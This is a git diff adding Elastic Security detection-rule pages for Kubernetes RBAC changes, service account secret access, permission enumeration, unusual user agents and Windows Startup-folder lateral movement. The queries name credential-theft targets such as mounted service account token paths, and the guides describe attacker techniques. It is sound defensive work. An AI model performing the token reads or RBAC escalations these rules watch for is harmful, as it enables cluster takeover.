privileged/hostNetwork/hostPID, or if sensitive secrets were accessed or exfiltration is suspected. +- Harden by enforcing least-privilege RBAC, requiring peer approval for RBAC changes, restricting workload mutations via GitOps-only service accounts, and using admission policies to deny privileged pods, hostPath mounts, and unapproved registries. + + +==== Rule query + + +[source, js] +---------------------------------- +sequence by user.name with maxspan=5m + [any where event.dataset == "kubernetes.audit_logs" and + `kubernetes.audit.annotations.authorization_k8s_io/decision` == "allow" and + kubernetes.audit.objectRef.resource in ("roles", "clusterroles") and + kubernetes.audit.verb in ("create", "update", "patch")] + [any where event.dataset == "kubernetes.audit_logs" and + `kubernetes.audit.annotations.authorization_k8s_io/decision` == "allow" and + kubernetes.audit.objectRef.resource in ("daemonsets", "deployments", "cronjobs") and + kubernetes.audit.verb in ("create", "patch") and + /* reduce control-plane / bootstrap noise */ + not kubernetes.audit.user.groups == "system:masters" + ] + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Container Cluster Roles +** ID: T1098.006 +** Reference URL: https://attack.mitre.org/techniques/T1098/006/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Container Cluster Roles +** ID: T1098.006 +** Reference URL: https://attack.mitre.org/techniques/T1098/006/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-kubernetes-service-account-modified-rbac-objects.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-kubernetes-service-account-modified-rbac-objects.asciidoc new file mode 100644 index 0000000000..df56c58602 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-kubernetes-service-account-modified-rbac-objects.asciidoc @@ -0,0 +1,129 @@ +[[prebuilt-rule-8-19-20-kubernetes-service-account-modified-rbac-objects]] +=== Kubernetes Service Account Modified RBAC Objects + +Detects write operations performed by Kubernetes service accounts against RBAC resources (Roles, ClusterRoles, RoleBindings, ClusterRoleBindings). Service accounts typically do not manage RBAC directly; this activity may indicate token abuse, misconfigured permissions, or unauthorized privilege escalation. + +*Rule type*: query + +*Rule indices*: + +* logs-kubernetes.audit_logs-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: None ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://heilancoos.github.io/research/2025/12/16/kubernetes.html#overly-permissive-role-based-access-control + +*Tags*: + +* Data Source: Kubernetes +* Domain: Kubernetes +* Use Case: Threat Detection +* Tactic: Privilege Escalation +* Tactic: Persistence +* Resources: Investigation Guide + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + ## Triage and analysis + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Kubernetes Service Account Modified RBAC Objects* + + +This rule detects Kubernetes service accounts performing allowed write actions on RBAC resources such as Roles and RoleBindings, which is atypical because service accounts rarely administer permissions. It matters because stolen or over-privileged service account tokens can silently alter authorization to gain or retain elevated access across the cluster. An attacker commonly uses a compromised workload’s token to create or patch a binding that grants cluster-admin privileges to their service account for persistent control. + + +*Possible investigation steps* + + +- Retrieve the full audit event and diff the before/after RBAC object to identify newly granted subjects, verbs, resources, and cluster-admin or wildcard permissions. +- Trace the acting service account to its owning workload (Deployment/Pod) and node, then review recent image changes, restarts, exec sessions, and container logs around the event time for compromise indicators. +- Determine whether the change is attributable to an expected controller or GitOps/CI automation by correlating with change tickets, pipeline runs, and repository commits for RBAC manifests. +- Validate whether the service account token may be abused by checking for unusual API access patterns, source IPs/user agents, and cross-namespace activity compared to its baseline behavior. +- Contain if suspicious by reverting the RBAC change, rotating the service account token (and any mounted secrets), and tightening the service account’s Role/ClusterRole to least privilege. + + +*False positive analysis* + + +- A platform automation running in-cluster (e.g., a controller or CI job using a service account) legitimately applies RBAC manifests during routine deployment, upgrades, or namespace onboarding, resulting in create/patch/update of Roles or RoleBindings. +- A Kubernetes operator or housekeeping workflow running under a service account intentionally adjusts RBAC as part of maintenance (e.g., rotating access, reconciling drift, or cleaning up obsolete bindings) and triggers allowed delete or update actions on RBAC resources. + + +*Response and remediation* + + +- Immediately remove or quarantine the offending service account by deleting its RoleBindings/ClusterRoleBindings and restarting or scaling down the owning workload to stop further RBAC writes. +- Revert the unauthorized RBAC object changes by restoring the last known-good Roles/Bindings from GitOps/manifests (or `kubectl rollout undo` where applicable) and verify no new subjects gained wildcard or cluster-admin-equivalent access. +- Rotate credentials by recreating the service account or triggering token re-issuance, deleting any mounted legacy token secrets, and redeploying workloads to ensure old tokens cannot be reused. +- Hunt and eradicate persistence by searching for additional recently modified RBAC objects and newly created service accounts in the same namespaces, then remove unauthorized accounts/bindings and scan the implicated container images for backdoors. +- Escalate to incident response and cluster administrators immediately if any change grants `cluster-admin`, introduces `*` verbs/resources, or binds a service account to privileged ClusterRoles across namespaces. +- Harden going forward by enforcing least-privilege RBAC, enabling admission controls to restrict RBAC modifications to approved identities/namespaces, and using short-lived projected service account tokens with workload identity constraints. + + +==== Rule query + + +[source, js] +---------------------------------- +event.dataset:"kubernetes.audit_logs" and kubernetes.audit.annotations.authorization_k8s_io/decision:"allow" and +kubernetes.audit.user.username:( + system\:serviceaccount\:* and not ( + "system:serviceaccount:kube-system:clusterrole-aggregation-controller" or + "system:serviceaccount:kube-system:generic-garbage-collector" + ) +) and +kubernetes.audit.objectRef.resource:("clusterrolebindings" or "clusterroles" or "rolebindings" or "roles") and +kubernetes.audit.verb:("create" or "delete" or "patch" or "update") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Container Cluster Roles +** ID: T1098.006 +** Reference URL: https://attack.mitre.org/techniques/T1098/006/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Container Cluster Roles +** ID: T1098.006 +** Reference URL: https://attack.mitre.org/techniques/T1098/006/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-kubernetes-service-account-secret-access.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-kubernetes-service-account-secret-access.asciidoc new file mode 100644 index 0000000000..5164cb9230 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-kubernetes-service-account-secret-access.asciidoc @@ -0,0 +1,204 @@ +[[prebuilt-rule-8-19-20-kubernetes-service-account-secret-access]] +=== Kubernetes Service Account Secret Access + +This rule detects when a process accesses Kubernetes service account secrets. Kubernetes service account secrets are files that contain sensitive information used by applications running in Kubernetes clusters to authenticate and authorize access to the cluster. These secrets are typically mounted into pods at runtime, allowing applications to access them securely. Unauthorized access to these secrets can lead to privilege escalation, lateral movement and unauthorized actions within the cluster. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* Domain: Container +* Domain: Kubernetes +* OS: Linux +* Use Case: Threat Detection +* Tactic: Credential Access +* Tactic: Discovery +* Data Source: Elastic Defend +* Resources: Investigation Guide + +*Version*: 4 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + ## Triage and analysis + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Kubernetes Service Account Secret Access* + + +Kubernetes service account secrets are crucial for authenticating applications within clusters, providing access to necessary resources. Adversaries may exploit these secrets to escalate privileges or move laterally within the cluster. The detection rule identifies unauthorized access by monitoring processes that interact with secret file paths or specific secret files, flagging potential misuse for further investigation. + + +*Possible investigation steps* + + +- Review the process command line and working directory to confirm if the access to the service account secrets was expected or authorized. Check for any known applications or scripts that should have access to these paths. +- Investigate the user or service account under which the process was executed to determine if it has legitimate reasons to access the Kubernetes service account secrets. +- Examine the process arguments, specifically looking for access to files like "ca.crt", "token", and "namespace", to understand the nature of the access and whether it aligns with normal operations. +- Check the history of the process and any associated processes to identify if there are any patterns of unauthorized access or if this is an isolated incident. +- Correlate the event with other logs or alerts from the same host or cluster to identify any signs of privilege escalation or lateral movement attempts. +- Assess the risk score and severity in the context of the environment to prioritize the investigation and response actions accordingly. + + +*False positive analysis* + + +- Routine access by system processes or monitoring tools can trigger false positives. Identify these processes and create exceptions to prevent unnecessary alerts. +- Automated scripts or applications that regularly access service account secrets for legitimate purposes may be flagged. Review these scripts and whitelist them if they are verified as non-threatening. +- Development and testing environments often have processes accessing service account secrets as part of normal operations. Exclude these environments from the rule or adjust the rule's scope to focus on production environments. +- Frequent access by container orchestration tools or agents that manage Kubernetes clusters can be mistaken for unauthorized access. Ensure these tools are recognized and excluded from triggering alerts. +- Scheduled jobs or cron tasks that interact with service account secrets for maintenance or updates might be flagged. Validate these tasks and add them to an exception list if they are part of regular operations. + + +*Response and remediation* + + +- Immediately isolate the affected pod or container to prevent further unauthorized access or lateral movement within the cluster. +- Revoke and rotate the compromised service account credentials to prevent further misuse. Ensure that new credentials are securely distributed and stored. +- Conduct a thorough review of access logs to identify any unauthorized actions or data access that occurred using the compromised credentials. +- Escalate the incident to the security operations team for further investigation and to assess the potential impact on the cluster and associated resources. +- Implement network segmentation and access controls to limit the exposure of sensitive secrets and reduce the risk of unauthorized access in the future. +- Enhance monitoring and alerting for unusual access patterns to Kubernetes service account secrets to detect similar threats promptly. +- Review and update Kubernetes security policies to enforce least privilege access and ensure that service accounts have only the necessary permissions for their intended functions. + + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "start" and event.action == "exec" and ( + process.command_line like ( + "*/run/secrets/kubernetes.io/serviceaccount*", + "*/var/run/secrets/kubernetes.io/serviceaccount*", + "*/secrets/kubernetes.io/serviceaccount*" + ) or ( + process.working_directory like ( + "/run/secrets/kubernetes.io/serviceaccount", + "/var/run/secrets/kubernetes.io/serviceaccount", + "/secrets/kubernetes.io/serviceaccount" + ) and + process.args in ("ca.crt", "token") + ) +) and +not ( + process.command_line like "*/bin/test*" or + process.args in ( + "/var/run/secrets/kubernetes.io/serviceaccount/namespace", + "/run/secrets/kubernetes.io/serviceaccount/namespace", + "/secrets/kubernetes.io/serviceaccount/namespace" + ) or + process.command_line == "/usr/bin/coreutils --coreutils-prog-shebang=cat /usr/bin/cat /var/run/secrets/kubernetes.io/serviceaccount/token" or + process.parent.command_line == "runc init" or + (process.parent.name == "px-oci-mon" and process.name == "rsync") or + ( + process.parent.command_line == "sh /install-cni.sh" and + process.working_directory like ( + "/opt/cni/bin", "/run/containerd/io.containerd.runtime.v2.task/k8s.io/*/opt/cni/bin" + ) + ) or + (process.working_directory like "/home/runner/_work/*" and process.parent.args like "/home/runner/_work/_temp/*.sh") or + process.working_directory == "/opt/cni/bin" +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Steal Application Access Token +** ID: T1528 +** Reference URL: https://attack.mitre.org/techniques/T1528/ +* Technique: +** Name: Unsecured Credentials +** ID: T1552 +** Reference URL: https://attack.mitre.org/techniques/T1552/ +* Sub-technique: +** Name: Credentials In Files +** ID: T1552.001 +** Reference URL: https://attack.mitre.org/techniques/T1552/001/ +* Tactic: +** Name: Discovery +** ID: TA0007 +** Reference URL: https://attack.mitre.org/tactics/TA0007/ +* Technique: +** Name: Container and Resource Discovery +** ID: T1613 +** Reference URL: https://attack.mitre.org/techniques/T1613/ +* Tactic: +** Name: Collection +** ID: TA0009 +** Reference URL: https://attack.mitre.org/tactics/TA0009/ +* Technique: +** Name: Data from Local System +** ID: T1005 +** Reference URL: https://attack.mitre.org/techniques/T1005/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-kubernetes-suspicious-self-subject-review-via-unusual-user-agent.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-kubernetes-suspicious-self-subject-review-via-unusual-user-agent.asciidoc new file mode 100644 index 0000000000..ba4f87520d --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-kubernetes-suspicious-self-subject-review-via-unusual-user-agent.asciidoc @@ -0,0 +1,130 @@ +[[prebuilt-rule-8-19-20-kubernetes-suspicious-self-subject-review-via-unusual-user-agent]] +=== Kubernetes Suspicious Self-Subject Review via Unusual User Agent + +This rule detects when a service account or node attempts to enumerate their own permissions via the selfsubjectaccessreview or selfsubjectrulesreview APIs via an unusual user agent. This is highly unusual behavior for non-human identities like service accounts and nodes. An adversary may have gained access to credentials/tokens and this could be an attempt to determine what privileges they have to facilitate further movement or execution within the cluster. + +*Rule type*: new_terms + +*Rule indices*: + +* logs-kubernetes.audit_logs-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: None ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.paloaltonetworks.com/apps/pan/public/downloadResource?pagePath=/content/pan/en_US/resources/whitepapers/kubernetes-privilege-escalation-excessive-permissions-in-popular-platforms +* https://kubernetes.io/docs/reference/access-authn-authz/authorization/#checking-api-access +* https://techcommunity.microsoft.com/t5/microsoft-defender-for-cloud/detecting-identity-attacks-in-kubernetes/ba-p/3232340 + +*Tags*: + +* Data Source: Kubernetes +* Domain: Kubernetes +* Use Case: Threat Detection +* Tactic: Discovery +* Resources: Investigation Guide + +*Version*: 210 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Kubernetes Suspicious Self-Subject Review via Unusual User Agent* + + +Kubernetes uses APIs like selfsubjectaccessreview and selfsubjectrulesreview to allow entities to check their own permissions. While useful for debugging, adversaries can exploit these APIs to assess their access level after compromising service accounts or nodes. The detection rule identifies unusual API calls by non-human identities, flagging potential unauthorized privilege enumeration attempts. + + +*Possible investigation steps* + + +- Review the Kubernetes audit logs to identify the specific service account or node that triggered the alert by examining the kubernetes.audit.user.username or kubernetes.audit.impersonatedUser.username fields. +- Check the context of the API call by analyzing the kubernetes.audit.objectRef.resource field to confirm whether it involved selfsubjectaccessreviews or selfsubjectrulesreviews. +- Investigate the source of the API request by looking at the IP address and user agent in the audit logs to determine if the request originated from a known or expected source. +- Assess the recent activity of the implicated service account or node to identify any unusual patterns or deviations from normal behavior. +- Verify if there have been any recent changes to the permissions or roles associated with the service account or node to understand if the access level has been altered. +- Cross-reference the alert with any other security events or alerts in the environment to determine if this is part of a broader attack or compromise. + + +*False positive analysis* + + +- Service accounts used for automated tasks may trigger this rule if they are programmed to check permissions as part of their routine operations. To handle this, identify these accounts and create exceptions for their specific API calls. +- Nodes performing legitimate self-assessment for compliance or security checks might be flagged. Review the node's purpose and, if necessary, whitelist these actions in the detection rule. +- Development or testing environments where permissions are frequently checked by service accounts can generate false positives. Consider excluding these environments from the rule or adjusting the rule's sensitivity for these specific contexts. +- Regularly scheduled jobs or scripts that include permission checks as part of their execution may cause alerts. Document these jobs and adjust the rule to ignore these specific, non-threatening behaviors. + + +*Response and remediation* + + +- Immediately isolate the compromised service account or node by revoking its access tokens and credentials to prevent further unauthorized actions within the cluster. +- Conduct a thorough review of the audit logs to identify any other suspicious activities or access patterns associated with the compromised identity, focusing on any lateral movement or privilege escalation attempts. +- Rotate credentials and tokens for all service accounts and nodes that may have been exposed or compromised, ensuring that new credentials are distributed securely. +- Implement network segmentation and access controls to limit the ability of compromised identities to interact with sensitive resources or other parts of the cluster. +- Escalate the incident to the security operations team for further investigation and to determine if additional systems or data have been affected. +- Enhance monitoring and alerting for similar suspicious activities by tuning detection systems to recognize patterns of unauthorized privilege enumeration attempts. +- Review and update Kubernetes role-based access control (RBAC) policies to ensure that service accounts and nodes have the minimum necessary permissions, reducing the risk of privilege abuse. + +==== Setup + + +The Kubernetes Fleet integration with Audit Logs enabled or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +event.dataset : "kubernetes.audit_logs" and +kubernetes.audit.annotations.authorization_k8s_io/decision:"allow" and +kubernetes.audit.verb:"create" and +kubernetes.audit.objectRef.resource:("selfsubjectaccessreviews" or "selfsubjectrulesreviews") and ( + kubernetes.audit.user.username:(system\:serviceaccount\:* or system\:node\:*) or + kubernetes.audit.impersonatedUser.username:(system\:serviceaccount\:* or system\:node\:*) +) and user_agent.original:(* and not (*kubernetes/$Format)) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Discovery +** ID: TA0007 +** Reference URL: https://attack.mitre.org/tactics/TA0007/ +* Technique: +** Name: Permission Groups Discovery +** ID: T1069 +** Reference URL: https://attack.mitre.org/techniques/T1069/ +* Sub-technique: +** Name: Cloud Groups +** ID: T1069.003 +** Reference URL: https://attack.mitre.org/techniques/T1069/003/ +* Technique: +** Name: Container and Resource Discovery +** ID: T1613 +** Reference URL: https://attack.mitre.org/techniques/T1613/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-kubernetes-unusual-decision-by-user-agent.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-kubernetes-unusual-decision-by-user-agent.asciidoc new file mode 100644 index 0000000000..2c3d0da82c --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-kubernetes-unusual-decision-by-user-agent.asciidoc @@ -0,0 +1,127 @@ +[[prebuilt-rule-8-19-20-kubernetes-unusual-decision-by-user-agent]] +=== Kubernetes Unusual Decision by User Agent + +This rule detects unusual request responses in Kubernetes audit logs through the use of the "new_terms" rule type. In production environments, default API requests are typically made by system components or trusted users, who are expected to have a consistent user agent and allowed response annotations. By monitoring for anomalies in the username and response annotations, this rule helps identify potential unauthorized access or misconfigurations in the Kubernetes environment. + +*Rule type*: new_terms + +*Rule indices*: + +* logs-kubernetes.audit_logs-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: None ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Data Source: Kubernetes +* Domain: Kubernetes +* Domain: Container +* Use Case: Threat Detection +* Tactic: Execution +* Resources: Investigation Guide + +*Version*: 5 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Kubernetes Unusual Decision by User Agent* + + +Kubernetes orchestrates containerized applications, relying on API requests for operations. Typically, these requests originate from system components or trusted users with consistent user agents. Adversaries might exploit this by using atypical user agents to mask unauthorized access or misconfigurations. The detection rule identifies anomalies in user agents and response annotations, signaling potential threats in the Kubernetes environment. + + +*Possible investigation steps* + + +- Review the Kubernetes audit logs for entries where the user_agent.original field is present to identify any unusual or unexpected user agents. +- Cross-reference the identified user agents with known system components and trusted users to determine if the user agent is legitimate or potentially malicious. +- Examine the kubernetes.audit.stage field for "ResponseComplete" entries to understand the context and outcome of the requests associated with the unusual user agent. +- Investigate the source IP addresses and associated usernames in the audit logs to identify any patterns or anomalies that could indicate unauthorized access. +- Check for any recent changes or deployments in the Kubernetes environment that might explain the presence of unusual user agents or unexpected behavior. +- Assess the risk and impact of the detected anomaly by considering the sensitivity of the accessed resources and the permissions associated with the user account involved. + + +*False positive analysis* + + +- System components or trusted users with legitimate but infrequent user agents may trigger the rule. To manage this, identify these user agents and add them to an exception list to prevent unnecessary alerts. +- Automated scripts or tools used for maintenance or monitoring might use unique user agents. Regularly review these tools and update the exception list to include their user agents if they are verified as non-threatening. +- New deployments or updates to Kubernetes components can introduce new user agents temporarily. Monitor these changes and adjust the rule exceptions accordingly to accommodate expected behavior during these periods. +- Third-party integrations or plugins may use distinct user agents. Validate these integrations and, if deemed safe, include their user agents in the exception list to reduce false positives. + + +*Response and remediation* + + +- Immediately isolate the affected Kubernetes node or cluster to prevent further unauthorized access or potential lateral movement by the adversary. +- Review and terminate any suspicious or unauthorized sessions identified in the audit logs to cut off any active malicious activity. +- Revoke and rotate credentials associated with the compromised user agent to prevent further unauthorized access using the same credentials. +- Conduct a thorough review of the affected system's configurations and permissions to identify and rectify any misconfigurations or overly permissive access controls. +- Implement additional monitoring and logging for the affected systems to detect any further anomalies or unauthorized activities promptly. +- Escalate the incident to the security operations team for a comprehensive investigation and to determine if any data exfiltration or further compromise has occurred. +- Update and enhance detection rules and alerts to better identify similar anomalies in user agents and response annotations in the future, ensuring quicker response times. + + +==== Rule query + + +[source, js] +---------------------------------- +event.dataset:"kubernetes.audit_logs" and kubernetes.audit.stage:"ResponseComplete" and +user_agent.original:(* and not (*kubernetes/$Format)) and +not ( + user_agent.original:kubelet* and + not kubernetes.audit.objectRef.resource:(pods or nodes or csinodes or csidrivers or configmaps or secrets or events or leases or runtimeclasses) and + kubernetes.audit.verb:(get or list or watch or patch) +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-lateral-movement-via-startup-folder.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-lateral-movement-via-startup-folder.asciidoc new file mode 100644 index 0000000000..de55d47ec1 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-lateral-movement-via-startup-folder.asciidoc @@ -0,0 +1,150 @@ +[[prebuilt-rule-8-19-20-lateral-movement-via-startup-folder]] +=== Lateral Movement via Startup Folder + +Identifies suspicious file creations in the startup folder of a remote system. An adversary could abuse this to move laterally by dropping a malicious script or executable that will be executed after a reboot or user logon. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.file-* +* winlogbeat-* +* logs-windows.sysmon_operational-* +* endgame-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.mdsec.co.uk/2017/06/rdpinception/ +* https://www.elastic.co/security-labs/hunting-for-lateral-movement-using-event-query-language + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Lateral Movement +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: Microsoft Defender for Endpoint +* Data Source: SentinelOne +* Resources: Investigation Guide + +*Version*: 313 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Lateral Movement via Startup Folder* + + +The Windows Startup folder is a mechanism that allows programs to run automatically upon user logon or system reboot. Adversaries exploit this by placing malicious files in the Startup folder of remote systems, often accessed via RDP or SMB, to ensure persistence and facilitate lateral movement. The detection rule identifies suspicious file activities in these folders, focusing on processes like mstsc.exe, which may indicate unauthorized access and file creation, signaling potential lateral movement attempts. + + +*Possible investigation steps* + + +- Review the alert details to confirm the file creation or change event in the specified Startup folder paths, focusing on the file path patterns: "?:\\Users\\*\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\*" and "?:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\*". +- Check the process information associated with the event, particularly if the process name is "mstsc.exe" or if the process ID is 4, to determine if the activity is linked to remote access via RDP or SMB. +- Investigate the origin of the remote connection by examining network logs or RDP session logs to identify the source IP address and user account involved in the connection. +- Analyze the newly created or modified file in the Startup folder for malicious characteristics, such as unusual file names, unexpected file types, or known malware signatures, using antivirus or sandbox analysis tools. +- Review user account activity and permissions to determine if the account associated with the process has been compromised or is being misused for unauthorized access. +- Correlate this event with other security alerts or logs from data sources like Sysmon, Microsoft Defender for Endpoint, or SentinelOne to identify any related suspicious activities or patterns indicating lateral movement attempts. + + +*False positive analysis* + + +- Legitimate software installations or updates may create files in the Startup folder, triggering the rule. Users can manage this by maintaining a list of known software that typically modifies the Startup folder and creating exceptions for these processes. +- System administrators using remote desktop tools like mstsc.exe for legitimate purposes might inadvertently trigger the rule. To handle this, users can exclude specific administrator accounts or known IP addresses from the detection rule. +- Automated scripts or system management tools that deploy updates or configurations across multiple systems might cause false positives. Users should identify these tools and add them to an exclusion list to prevent unnecessary alerts. +- Some enterprise applications may use the Startup folder for legitimate operations, especially during system boot or user logon. Users should document these applications and configure the rule to ignore file changes associated with them. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further lateral movement and potential spread of the threat. +- Terminate any suspicious processes, particularly those related to mstsc.exe or any unauthorized processes with PID 4, to halt any ongoing malicious activities. +- Remove any unauthorized files or scripts found in the Startup folder paths specified in the detection query to prevent them from executing on reboot or user logon. +- Conduct a thorough scan of the affected system using updated antivirus or endpoint detection and response (EDR) tools to identify and remove any additional malicious files or remnants. +- Review and reset credentials for any accounts that were accessed or potentially compromised during the incident to prevent unauthorized access. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems are affected. +- Implement enhanced monitoring and logging for RDP and SMB activities, focusing on unusual file creation events in Startup folders, to improve detection of similar threats in the future. + +==== Rule query + + +[source, js] +---------------------------------- +file where host.os.type == "windows" and event.type in ("creation", "change") and + + /* via RDP TSClient mounted share or SMB */ + (process.name : "mstsc.exe" or process.pid == 4) and + + file.path : ("?:\\Users\\*\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\*", + "?:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\*") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Lateral Movement +** ID: TA0008 +** Reference URL: https://attack.mitre.org/tactics/TA0008/ +* 